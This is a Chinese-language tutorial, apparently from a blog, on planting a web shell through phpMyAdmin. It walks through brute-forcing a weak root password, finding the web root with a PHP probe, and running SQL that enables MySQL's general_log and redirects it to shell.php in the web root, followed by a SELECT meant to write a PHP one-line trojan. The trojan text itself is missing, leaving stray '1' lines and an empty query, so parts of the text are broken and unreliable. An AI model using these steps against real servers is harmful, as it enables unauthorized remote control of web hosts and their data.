phpMyAdmin利用日誌文件GetSHELL

phpMyAdmin簡介

phpMyAdmin 是眾多MySQL圖形化管理工具中使用最為廣泛的一種,是一款使用PHP 開發的基於B/S模式的MySQL客戶端軟件,該工具是基於 Web 跨平臺的管理程序,並且支持簡體中文,用戶可以在官網上下載最新版本的。

GetSHELL前提

1、phpMyAdmin利用日誌文件GetSHELL前提賬號必須有可讀可寫權限

2、MySQL版本大於5.0,MySQL 5.0版本以上會創建日誌文件,我們通過修改日誌文件的全局變量,就可以GetSHELL

3、滿足上方兩個條件,還需要知道網站的絕對路徑,對於網站的絕對路徑查找有很多方法,在我上一篇文章裡有講解到:傳送門

GetSHELL過程

phpMyAdmin利用日誌文件GetSHELL


這邊是通過php探針獲取到了網站的絕對路徑:C:/phpStudy/WWW

phpMyAdmin利用日誌文件GetSHELL


接著是通過弱口令爆破來得到了phpMyAdmin的登陸賬號密碼:root

phpMyAdmin利用日誌文件GetSHELL


進入到phpMyAdmin管理頁面後,得到一些關鍵信息:

  • 數據庫服務器:
服務器: localhost via TCP/IP
軟件: MySQL
軟件版本: 5.5.40 - MySQL Community Server (GPL)
協議版本: 10
用戶: root@localhost
服務器字符集: UTF-8 Unicode (utf8)
  • 網站服務器
Apache/2.4.10 (Win32) OpenSSL/0.9.8zb PHP/5.2.17
數據庫客戶端版本: libmysql - 5.0.51a
PHP 擴展: mysqli 文檔

得知MySQL的版本是大於5.0,那麼應該可以通過日誌寫入shell

查看日誌的信息

phpMyAdmin利用日誌文件GetSHELL


show variables like '%general%';

日誌讀寫默認是關閉的OFF,然後我們打開日誌讀寫功能:

phpMyAdmin利用日誌文件GetSHELL


打開general_log日誌讀寫功能
SET GLOBAL general_log='on'


phpMyAdmin利用日誌文件GetSHELL

創建文件

由於之前我們通過php探針得到了網站的絕對路徑,然後我們就可以寫入shell.php到網站的根目錄下:

phpMyAdmin利用日誌文件GetSHELL


SET GLOBAL general_log_file='C:/phpStudy/WWW/shell.php'

這個時候,對應的路徑下就會生成一個shell.php腳本文件:

phpMyAdmin利用日誌文件GetSHELL


寫入一句話到shell.php

PHP一句話木馬:

1

寫入一句話語句:

1
SELECT ''


phpMyAdmin利用日誌文件GetSHELL


這個時候就成功寫入一句話到了shell.php裡:

phpMyAdmin利用日誌文件GetSHELL


成功GetSHELL:

phpMyAdmin利用日誌文件GetSHELL



分享到:


相關文章: